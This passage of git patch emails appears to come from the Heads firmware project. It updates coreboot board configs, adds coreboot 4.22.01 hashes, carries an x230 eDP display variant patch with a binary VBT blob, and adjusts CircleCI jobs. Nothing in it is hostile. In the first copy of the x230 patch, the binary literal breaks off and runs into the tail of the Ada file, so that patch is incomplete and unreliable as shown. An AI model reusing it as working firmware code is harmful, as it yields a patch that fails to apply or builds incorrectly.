CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_TTYS0_BASE=0x3f8 -CONFIG_TTYS0_LCS=3 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -269,12 +280,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -317,7 +327,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -359,9 +368,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -371,6 +381,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -396,8 +407,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -418,10 +428,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -432,21 +438,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_DRIVERS_UART=y @@ -463,10 +466,12 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA_ANALOG_I2C_HDMI_B=y CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -476,6 +481,7 @@ CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_HDMI_B" CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set @@ -509,7 +515,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set CONFIG_TPM_RDRESP_NEED_DELAY=y CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -532,6 +543,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -548,6 +562,7 @@ CONFIG_SQUELCH_EARLY_SMP=y # # I/O mapped, 8250-compatible # +CONFIG_TTYS0_BASE=0x3f8 # # Serial port base address = 0x3f8 @@ -560,6 +575,7 @@ CONFIG_CONSOLE_SERIAL_115200=y # CONFIG_CONSOLE_SERIAL_38400 is not set # CONFIG_CONSOLE_SERIAL_19200 is not set # CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_LCS=3 # CONFIG_SPKMODEM is not set # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y @@ -596,6 +612,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # System tables # CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -611,13 +628,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -642,6 +658,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -656,7 +676,6 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_RESOURCES is not set # CONFIG_DEBUG_CONSOLE_INIT is not set @@ -667,6 +686,7 @@ CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/modules/coreboot b/modules/coreboot index a066b058e..c3612ab28 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -73,6 +73,10 @@ coreboot-4.20.1_hash := b41539a8c2eab2fec752157eb4acbd0e2a637a7203530c12e66b43a5 coreboot-blobs-4.20.1_hash := 30f9d8618e78d483d0903976982485e70825ca3469efd17902c9246aaefd7c4a $(eval $(call coreboot_module,4.20.1,)) +coreboot-4.22.01_hash := 3d1a36dfb2a654133c7f36cf4da436f0d79f535644069adfe7cdcad962532c3f +coreboot-blobs-4.22.01_hash := 4bb98f1a1cc8b3c7004a1d720462bfff0fe34a9106163df2708b952bddfc5203 +$(eval $(call coreboot_module,4.22.01,)) + # coreboot git forks # talos_2 could use the 4.20.1 toolchain, but it's the only ppc64 fork, so diff --git a/patches/coreboot-4.22.01/0001-x230-fhd-variant.patch b/patches/coreboot-4.22.01/0001-x230-fhd-variant.patch new file mode 100644 index 000000000..de2fcb530 --- /dev/null +++ b/patches/coreboot-4.22.01/0001-x230-fhd-variant.patch @@ -0,0 +1,198 @@ +From 7a427122a0a01ee396079ded782072081f130e54 Mon Sep 17 00:00:00 2001 +From: Alexander Couzens +Date: Sat, 19 Mar 2022 13:42:33 +0000 +Subject: [PATCH] lenovo/x230: introduce FHD variant + +There is a modification for the x230 which uses the 2nd DP from the dock +as the integrated panel's connection, which allows using a custom eDP +panel instead of the stock LVDS display. + +There are several adapter boards present on the market and all of them +uses the same method of enabling the custom eDP panel. + +To make this work with coreboot, the internal LVDS connector should be +disabled in libgfxinit. The VBT has been modified as well, which allows +brightness controls to work out of the box. + +The modifications done to the VBT are: +- Remove the LVDS port entry. +- Move the DP-3 (which is the 2nd DP on the dock) entry to the first + position on the list. +- Set the DP-3 as internally connected. + +This has been reported to work with the following panels: +- LP125WF2-SPB4 (1920*1080, 12.5") +- LQ125T1JW02 (2560*1440, 12.5") +- LQ133M1JW21 (1920*1080, 13.3") +- LTN133HL10-201 (1920*1080, 13.3") +- B133HAN04.6 (1920*1080, 13.3") +- B133QAN02.0 (2560*1600, 13.3") + +Other eDP panels not on this list should work as well. + +Change-Id: I0355d39a61956792e69bccd5274cfc2749d72bf0 +Signed-off-by: Alexander Couzens +Signed-off-by: Felix Singer +--- + src/mainboard/lenovo/x230/Kconfig | 15 ++++++++----- + src/mainboard/lenovo/x230/Kconfig.name | 3 +++ + src/mainboard/lenovo/x230/Makefile.inc | 5 +++++ + .../lenovo/x230/variants/x230_edp/data.vbt | Bin 0 -> 4281 bytes + .../x230/variants/x230_edp/gma-mainboard.ads | 21 ++++++++++++++++++ + 5 files changed, 38 insertions(+), 6 deletions(-) + create mode 100644 src/mainboard/lenovo/x230/variants/x230_edp/data.vbt + create mode 100644 src/mainboard/lenovo/x230/variants/x230_edp/gma-mainboard.ads + +diff --git a/src/mainboard/lenovo/x230/Kconfig b/src/mainboard/lenovo/x230/Kconfig +index 279095629b..acfd0ed561 100644 +--- a/src/mainboard/lenovo/x230/Kconfig ++++ b/src/mainboard/lenovo/x230/Kconfig +@@ -1,4 +1,4 @@ +-if BOARD_LENOVO_X230 || BOARD_LENOVO_X230T || BOARD_LENOVO_X230S ++if BOARD_LENOVO_X230 || BOARD_LENOVO_X230T || BOARD_LENOVO_X230S || BOARD_LENOVO_X230_EDP + + config BOARD_SPECIFIC_OPTIONS + def_bool y +@@ -11,7 +11,7 @@ config BOARD_SPECIFIC_OPTIONS + select H8_HAS_BAT_THRESHOLDS_IMPL + select H8_HAS_PRIMARY_FN_KEYS if BOARD_LENOVO_X230S + select NO_UART_ON_SUPERIO +- select BOARD_ROMSIZE_KB_12288 if BOARD_LENOVO_X230 || BOARD_LENOVO_X230T ++ select BOARD_ROMSIZE_KB_12288 if BOARD_LENOVO_X230 || BOARD_LENOVO_X230T || BOARD_LENOVO_X230_EDP + select BOARD_ROMSIZE_KB_16384 if BOARD_LENOVO_X230S + select HAVE_ACPI_TABLES + select HAVE_OPTION_TABLE +@@ -20,7 +20,7 @@ config BOARD_SPECIFIC_OPTIONS + select INTEL_INT15 + select DRIVERS_RICOH_RCE822 + select MEMORY_MAPPED_TPM +- select MAINBOARD_HAS_TPM1 if BOARD_LENOVO_X230 || BOARD_LENOVO_X230T ++ select MAINBOARD_HAS_TPM1 if BOARD_LENOVO_X230 || BOARD_LENOVO_X230T || BOARD_LENOVO_X230_EDP + select MAINBOARD_HAS_LIBGFXINIT + select GFX_GMA_PANEL_1_ON_LVDS if BOARD_LENOVO_X230 || BOARD_LENOVO_X230T + select INTEL_GMA_HAVE_VBT +@@ -47,17 +47,20 @@ config MAINBOARD_DIR + default "lenovo/x230" + + config VARIANT_DIR +- default "x230" if BOARD_LENOVO_X230 || BOARD_LENOVO_X230T ++ default "x230" if BOARD_LENOVO_X230 || BOARD_LENOVO_X230T || BOARD_LENOVO_X230_EDP + default "x230s" if BOARD_LENOVO_X230S + + config MAINBOARD_PART_NUMBER +- default "ThinkPad X230" if BOARD_LENOVO_X230 ++ default "ThinkPad X230" if BOARD_LENOVO_X230 || BOARD_LENOVO_X230_EDP + default "ThinkPad X230t" if BOARD_LENOVO_X230T + default "ThinkPad X230s" if BOARD_LENOVO_X230S + + config OVERRIDE_DEVICETREE + default "variants/\$(CONFIG_VARIANT_DIR)/overridetree.cb" + ++config INTEL_GMA_VBT_FILE ++ default "variants/x230_edp/data.vbt" if BOARD_LENOVO_X230_EDP ++ + config USBDEBUG_HCD_INDEX + int + default 2 +@@ -79,4 +82,4 @@ config PS2M_EISAID + config THINKPADEC_HKEY_EISAID + default "LEN0068" + +-endif # BOARD_LENOVO_X230 || BOARD_LENOVO_X230T || BOARD_LENOVO_X230S ++endif # BOARD_LENOVO_X230 || BOARD_LENOVO_X230T || BOARD_LENOVO_X230S || BOARD_LENOVO_X230_EDP +diff --git a/src/mainboard/lenovo/x230/Kconfig.name b/src/mainboard/lenovo/x230/Kconfig.name +index 1a01436879..e7290a12dd 100644 +--- a/src/mainboard/lenovo/x230/Kconfig.name ++++ b/src/mainboard/lenovo/x230/Kconfig.name +@@ -6,3 +6,6 @@ config BOARD_LENOVO_X230T + + config BOARD_LENOVO_X230S + bool "ThinkPad X230s" ++ ++config BOARD_LENOVO_X230_EDP ++ bool "ThinkPad X230 eDP Mod (2K/FHD)" +diff --git a/src/mainboard/lenovo/x230/Makefile.inc b/src/mainboard/lenovo/x230/Makefile.inc +index 8e801f145d..6e6f9f90b9 100644 +--- a/src/mainboard/lenovo/x230/Makefile.inc ++++ b/src/mainboard/lenovo/x230/Makefile.inc +@@ -5,4 +5,9 @@ bootblock-y += variants/$(VARIANT_DIR)/gpio.c + romstage-y += variants/$(VARIANT_DIR)/early_init.c + romstage-y += variants/$(VARIANT_DIR)/gpio.c + ramstage-y += variants/$(VARIANT_DIR)/hda_verb.c ++ ++ifeq ($(CONFIG_BOARD_LENOVO_X230_EDP),y) ++ramstage-$(CONFIG_MAINBOARD_USE_LIBGFXINIT) += variants/x230_edp/gma-mainboard.ads ++else + ramstage-$(CONFIG_MAINBOARD_USE_LIBGFXINIT) += variants/$(VARIANT_DIR)/gma-mainboard.ads ++endif +diff --git a/src/mainboard/lenovo/x230/variants/x230_edp/data.vbt b/src/mainboard/lenovo/x230/variants/x230_edp/data.vbt +new file mode 100644 +index 0000000000000000000000000000000000000000..13384d45571ff76e592335143d01315e37893186 +GIT binary patch +literal 4281 +zcmdT`Z)_aZ5&ym0y}P}=-MjTVC6^p6b={56T^4V^SA+LolmX+RUx+79#iSqiP~ars*|P{j#W<|Sw32Qpw?S@B$TK! +zT%y8#_th3_%L^xJRhpi?y+F#XZ5B@+U98gh$p??rmIq1sVr%N_-*;O-QJ>e_m+#Gc +zeSJjvzQO*1!F<1Mj*JdZ9IBMcg_+XCI898^NNKt-Jw1A;SiXxYQxjvQVrgb{#5RMi +z3_rAVdim%B-#tOO;ZDl)3wi>F!IEkCq2;B0R9IZ3DP?n3(8mm!Gbk$bf{?ofjp)+WX;f0xKuMreM_FPop&M`zu|-4&b{lx} +z6dXr%nIN^a1Q1g^?g`SApyQo+We^Ju;y^Soa0Kxp0ExE)gG^{(s5wk=5)@Iwe?zpD +z@%1v$crW@+c=`T;{ewfYIC5a@V7W3iGdp+pJ^l}V_@k99K7NB27i?KEp$JF`50mi@ +zjG1XXrseRG7Qw69ek|x~_*Klqd$9}}jBGpu*K}~RX~1KAld;P%uwb}2&iFCo7mQyT +zCSGP-Wc-%#2gY9*A29yLh$l?6F>Yks%;;r&gE7oF#P|+lf$=@YNyZt*N3Nz%%kOxj$xHTH_I6i5-#j$7@-%=}( +z?1954MnX?xAuk79(< +zSr6;_4gTc~tacpa=As!xD;@CT7xX)U4}W57_`9~2NpCP65!^@JyGbYMG6B#@{r1i&qF#431THdvdmK?gb!}@x&d86kH8RtSun)L +zMg&qo8p@sxlqPr)H*t1i5Xc8fNK*dW_}wA77I--u)J{nAs;))bo8vk&YfS^jD1^rM=s>0ytuB(VlIOTx;M223I$qhjl3%0pyLp$ECQ*_^UYE{?(M!zFMP3W9I_cUj9w4&M7&s8K0k@rirz}Oms94I6gg>kPulEG+g%^&e&n+7+xV#SfijjY{5o+C7V}H- +zZs9PGrN7SK-OZ8YGZ>yr(&i#tdss~q`sQ|0&fnIIOUJ;O2*-=b;v=kW?O}6KsoH4P +z0smI&%EQn#cd@w$RZTVP=TtP?l7~|?nRTSIQO2qkgO+Z!=3#T$D-XeMvn68}T3Ey8 +zHleye(7mkLXe*JtfA{Q*lj!gc)Wck4IFj|C#q&~HiNmA&>Z|kF4(Uvj%v~DWNT8*x>a2}rST)i~8vd61DwO!2$JZMNNi6hyH +z2d_)6&979w%w$-vyatVrqw??t&t%}iZhDAP3%j_I#cGANdzLq>W;J(F=Xwkxxj%^H +zwQDmn=w}|@-y`RG{*wz0>A(ZGtk~AM=#-fE(LV1uZE98+Nk>UmiyyuJ8?## Disabled); ++ ++end GMA.Mainboard; +-- +2.39.2 + From f37b010ab115734ee389d00c6b80fd4242d6e8af Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 19 Feb 2024 11:42:56 -0500 Subject: [PATCH 025/619] patches/coreboot-4.22.01/0001-x230-fhd-variant.patch: update to upstream merged state git fetch https://review.coreboot.org/coreboot refs/changes/50/28950/27 && git format-patch -1 --stdout FETCH_HEAD > ~/heads/patches/coreboot-4.22.01/0001-x230-fhd-variant.patch Signed-off-by: Thierry Laurion --- .../0001-x230-fhd-variant.patch | 39 +++++++++++-------- 1 file changed, 22 insertions(+), 17 deletions(-) diff --git a/patches/coreboot-4.22.01/0001-x230-fhd-variant.patch b/patches/coreboot-4.22.01/0001-x230-fhd-variant.patch index de2fcb530..e90ec541c 100644 --- a/patches/coreboot-4.22.01/0001-x230-fhd-variant.patch +++ b/patches/coreboot-4.22.01/0001-x230-fhd-variant.patch @@ -1,18 +1,19 @@ -From 7a427122a0a01ee396079ded782072081f130e54 Mon Sep 17 00:00:00 2001 +From a88dd4b6fbac8748a6f4580ad6363da47f5b3bc2 Mon Sep 17 00:00:00 2001 From: Alexander Couzens Date: Sat, 19 Mar 2022 13:42:33 +0000 -Subject: [PATCH] lenovo/x230: introduce FHD variant +Subject: [PATCH] mb/lenovo/x230: introduce EDP variant -There is a modification for the x230 which uses the 2nd DP from the dock -as the integrated panel's connection, which allows using a custom eDP -panel instead of the stock LVDS display. +There is a modification for the x230 which uses the 2nd DP from the +dock as the integrated panel's connection, which allows using a custom +eDP panel instead of the stock LVDS display. There are several adapter boards present on the market and all of them -uses the same method of enabling the custom eDP panel. +use the same method of enabling the custom eDP panel. To make this work with coreboot, the internal LVDS connector should be -disabled in libgfxinit. The VBT has been modified as well, which allows -brightness controls to work out of the box. +disabled in libgfxinit. Additionally, VBT has been modified to keep +brightness controls functional on the adapter boards that use LVDS for +the job. The modifications done to the VBT are: - Remove the LVDS port entry. @@ -33,10 +34,14 @@ Other eDP panels not on this list should work as well. Change-Id: I0355d39a61956792e69bccd5274cfc2749d72bf0 Signed-off-by: Alexander Couzens Signed-off-by: Felix Singer +Signed-off-by: Alexei Sorokin +Reviewed-on: https://review.coreboot.org/c/coreboot/+/28950 +Tested-by: build bot (Jenkins) +Reviewed-by: Felix Singer --- src/mainboard/lenovo/x230/Kconfig | 15 ++++++++----- src/mainboard/lenovo/x230/Kconfig.name | 3 +++ - src/mainboard/lenovo/x230/Makefile.inc | 5 +++++ + src/mainboard/lenovo/x230/Makefile.mk | 5 +++++ .../lenovo/x230/variants/x230_edp/data.vbt | Bin 0 -> 4281 bytes .../x230/variants/x230_edp/gma-mainboard.ads | 21 ++++++++++++++++++ 5 files changed, 38 insertions(+), 6 deletions(-) @@ -44,7 +49,7 @@ Signed-off-by: Felix Singer create mode 100644 src/mainboard/lenovo/x230/variants/x230_edp/gma-mainboard.ads diff --git a/src/mainboard/lenovo/x230/Kconfig b/src/mainboard/lenovo/x230/Kconfig -index 279095629b..acfd0ed561 100644 +index 279095629be..78b2373c2d8 100644 --- a/src/mainboard/lenovo/x230/Kconfig +++ b/src/mainboard/lenovo/x230/Kconfig @@ -1,4 +1,4 @@ @@ -89,7 +94,7 @@ index 279095629b..acfd0ed561 100644 default "variants/\$(CONFIG_VARIANT_DIR)/overridetree.cb" +config INTEL_GMA_VBT_FILE -+ default "variants/x230_edp/data.vbt" if BOARD_LENOVO_X230_EDP ++ default "src/mainboard/\$(MAINBOARDDIR)/variants/x230_edp/data.vbt" if BOARD_LENOVO_X230_EDP + config USBDEBUG_HCD_INDEX int @@ -101,7 +106,7 @@ index 279095629b..acfd0ed561 100644 -endif # BOARD_LENOVO_X230 || BOARD_LENOVO_X230T || BOARD_LENOVO_X230S +endif # BOARD_LENOVO_X230 || BOARD_LENOVO_X230T || BOARD_LENOVO_X230S || BOARD_LENOVO_X230_EDP diff --git a/src/mainboard/lenovo/x230/Kconfig.name b/src/mainboard/lenovo/x230/Kconfig.name -index 1a01436879..e7290a12dd 100644 +index 1a014368795..e7290a12dd9 100644 --- a/src/mainboard/lenovo/x230/Kconfig.name +++ b/src/mainboard/lenovo/x230/Kconfig.name @@ -6,3 +6,6 @@ config BOARD_LENOVO_X230T @@ -111,10 +116,10 @@ index 1a01436879..e7290a12dd 100644 + +config BOARD_LENOVO_X230_EDP + bool "ThinkPad X230 eDP Mod (2K/FHD)" -diff --git a/src/mainboard/lenovo/x230/Makefile.inc b/src/mainboard/lenovo/x230/Makefile.inc -index 8e801f145d..6e6f9f90b9 100644 ---- a/src/mainboard/lenovo/x230/Makefile.inc -+++ b/src/mainboard/lenovo/x230/Makefile.inc +diff --git a/src/mainboard/lenovo/x230/Makefile.mk b/src/mainboard/lenovo/x230/Makefile.mk +index 8e801f145dd..6e6f9f90b9f 100644 +--- a/src/mainboard/lenovo/x230/Makefile.mk ++++ b/src/mainboard/lenovo/x230/Makefile.mk @@ -5,4 +5,9 @@ bootblock-y += variants/$(VARIANT_DIR)/gpio.c romstage-y += variants/$(VARIANT_DIR)/early_init.c romstage-y += variants/$(VARIANT_DIR)/gpio.c @@ -168,7 +173,7 @@ HcmV?d00001 diff --git a/src/mainboard/lenovo/x230/variants/x230_edp/gma-mainboard.ads b/src/mainboard/lenovo/x230/variants/x230_edp/gma-mainboard.ads new file mode 100644 -index 0000000000..f7cf0bc264 +index 00000000000..f7cf0bc2646 --- /dev/null +++ b/src/mainboard/lenovo/x230/variants/x230_edp/gma-mainboard.ads @@ -0,0 +1,21 @@ From 673b2f1340dd633656dc82d6ec0a1c86772c2cf3 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 19 Feb 2024 11:43:41 -0500 Subject: [PATCH 026/619] modules/coreboot CircleCI: adapt to coreboot version bumps Signed-off-by: Thierry Laurion --- .circleci/config.yml | 11 ++++++----- modules/coreboot | 4 ---- 2 files changed, 6 insertions(+), 9 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 697ba3685..1e44203b6 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -193,9 +193,10 @@ jobs: - build/x86/coreboot-4.14 - build/x86/coreboot-4.15 - build/x86/coreboot-4.17 - - build/x86/coreboot-4.19 - - build/x86/coreboot-git - - build/ppc64/coreboot-git + - build/x86/coreboot-4.22.01 + - build/x86/coreboot-purism + - build/x86/coreboot-nitrokey + - build/ppc64/coreboot-talos_2 - save_cache: #Generate cache for the exact same modules definitions if hash is not previously existing key: heads-modules-and-patches-{{ checksum "./tmpDir/all_modules_and_patches.sha256sums" }}{{ .Environment.CACHE_VERSION }} @@ -215,7 +216,7 @@ workflows: # version. The last board in the sequence is the dependency # for the parallel boards built at the end, and also save_cache. - # coreboot 4.19 + # coreboot 4.22.01 - build_and_persist: name: x230-hotp-maximized target: x230-hotp-maximized @@ -263,7 +264,7 @@ workflows: # # -#Coreboot 4.19 boards +#Coreboot 4.22.01 boards - build: name: x220-hotp-maximized target: x220-hotp-maximized diff --git a/modules/coreboot b/modules/coreboot index c3612ab28..718508e63 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -65,10 +65,6 @@ $(eval $(call coreboot_module,4.11,)) # libgfxinit, and the old Ada compiler no longer compiles with the Debian 12 host toolchain. coreboot-4.11_toolchain_build_args := BUILD_LANGUAGES=c -coreboot-4.19_hash := 65ccb2f46535b996e0066a1b76f81c8cf1ff3e27df84b3f97d8ad7b3e7cf0a43 -coreboot-blobs-4.19_hash := 30214caed07b25f11e47bec022ff6234841376e36689eb674de2330a3e980cbc -$(eval $(call coreboot_module,4.19,)) - coreboot-4.20.1_hash := b41539a8c2eab2fec752157eb4acbd0e2a637a7203530c12e66b43a5c3c3a931 coreboot-blobs-4.20.1_hash := 30f9d8618e78d483d0903976982485e70825ca3469efd17902c9246aaefd7c4a $(eval $(call coreboot_module,4.20.1,)) From 6d8939924ed2a0725722d021c5e42a088bcbc0a1 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 19 Feb 2024 11:57:10 -0500 Subject: [PATCH 027/619] patches/coreboot-4.22.01/0001-x230-fhd-variant.patch: adapt patch for Makefile.inc (Makefile.mk doesn't exist under 4.22) Signed-off-by: Thierry Laurion --- patches/coreboot-4.22.01/0001-x230-fhd-variant.patch | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/patches/coreboot-4.22.01/0001-x230-fhd-variant.patch b/patches/coreboot-4.22.01/0001-x230-fhd-variant.patch index e90ec541c..7f08287e8 100644 --- a/patches/coreboot-4.22.01/0001-x230-fhd-variant.patch +++ b/patches/coreboot-4.22.01/0001-x230-fhd-variant.patch @@ -118,8 +118,8 @@ index 1a014368795..e7290a12dd9 100644 + bool "ThinkPad X230 eDP Mod (2K/FHD)" diff --git a/src/mainboard/lenovo/x230/Makefile.mk 